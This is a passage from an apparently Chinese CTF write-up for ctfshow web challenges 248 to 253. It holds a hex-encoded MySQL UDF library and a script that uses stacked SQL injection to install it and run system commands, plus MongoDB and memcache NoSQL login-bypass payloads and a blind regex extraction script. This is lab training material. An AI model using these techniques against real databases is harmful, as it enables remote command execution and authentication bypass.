000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400 '
codes = []
for i in range(0, len(code), 128):
codes.append(code[i:min(i + 128, len(code))])
def commit_payload(payload: str):
requests.get(url + f'''0';{payload};-- A''')
# 第一次運行建臨時表
# sql='''create table temp(data longblob)'''
# 清空臨時表
commit_payload('''delete from temp''')
# 插入第一段數據
commit_payload('''insert into temp(data) values (0x{})'''.format(codes[0]))
# 更新連接剩余數據
for k in range(1, len(codes)):
commit_payload('''update temp set data = concat(data,0x{})'''.format(codes[k]))
# 10.3.18-MariaDB
# 寫入so文件
commit_payload('''select data from temp into dumpfile '/usr/lib/mariadb/plugin/udf.so\'''')
# 引入自定義函數
commit_payload('''create function sys_eval returns string soname 'udf.so\'''')
# 命令執行,結果更新到界面
commit_payload(
'''update ctfshow_user set pass=(select sys_eval('cat /flag.????'))''')
# 查看結果
r = requests.get(url[:-4] + '?page=1&limit=10')
print(r.text)
返回結果中找到 flag。
web249
//無
$user = $memcache->get($id);
//無過濾
無過濾的 nosql 注入,嘗試 id=flag
不行,id 都是數字,嘗試數組繞過得到 flag。
payload: id[]=flag
web250
$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();
//無過濾
if(count($cursor)>0){
$ret['msg']='登陸成功';
array_push($ret['data'], $flag);
}
無過濾的 nosql 注入。
MongoDB 中的條件操作符
$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all
$or: or
$not: 反匹配(1.3.3及以上版本)
模糊查詢用正則式:db.customer.find({'name': {'$regex':'.*s.*'} })
/**
* : 范圍查詢 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/
故構造 $data = array("username" => array("\$ne" => 1), "password" => array("\$ne" => 1));
繞過判斷。
payload: username[$ne]=1&password[$ne]=1
web251
$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();
//無過濾
if(count($cursor)>0){
$ret['msg']='登陸成功';
array_push($ret['data'], $flag);
}
無過濾的 nosql 注入。
繼續用上一題的 payload,返回 admin 的密碼,但是這次的密碼里沒有 flag,改成 array("$ne" => "admin")
后密碼處出現 flag。
payload: username[$ne]=admin&password[$ne]=1
web252
//sql
db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()
//無過濾
if(count($cursor)>0){
$ret['msg']='登陸成功';
array_push($ret['data'], $flag);
}
無過濾的 nosql 注入。
繼續用上一題的 payload,又出來個 admin1,同時還不能是 admin,正則繞過
payload: username[$regex]=^[^a].*&password[$ne]=1
web253
//sql
db.ctfshow_user.find({username:'$username',password:'$password'}).pretty()
//無過濾
if(count($cursor)>0){
$ret['msg']='登陸成功';
array_push($ret['data'], $flag);
}
無過濾的 nosql 注入,再嘗試用之前的 payload,登錄成功但沒有返回數據了。
腦洞 username 是 flag,username[$regex]=flag&password[$ne]=1
可以登錄成功,寫個腳本正則布爾盲注密碼。
import string
import requests
url = "http://5ce4ea0d-afb5-4f1c-9e65-626bdaa6e433.challenge.ctf.show:8080/api/"
letters = "{}-_" + string.ascii_lowercase + string.digits
def valid_pass(password: str) -> bool:
data = {
"username[$regex]": "flag",
"password[$regex]": f"{password}.*"
}
response = requests.post(url, data=data)
return "登陸成功" in response.json()["msg"]
result = ""
while True:
for letter in letters:
if valid_pass(result + letter):
result += letter
print(f"[*] result: {result}")
break
至此 sql 注入篇結束。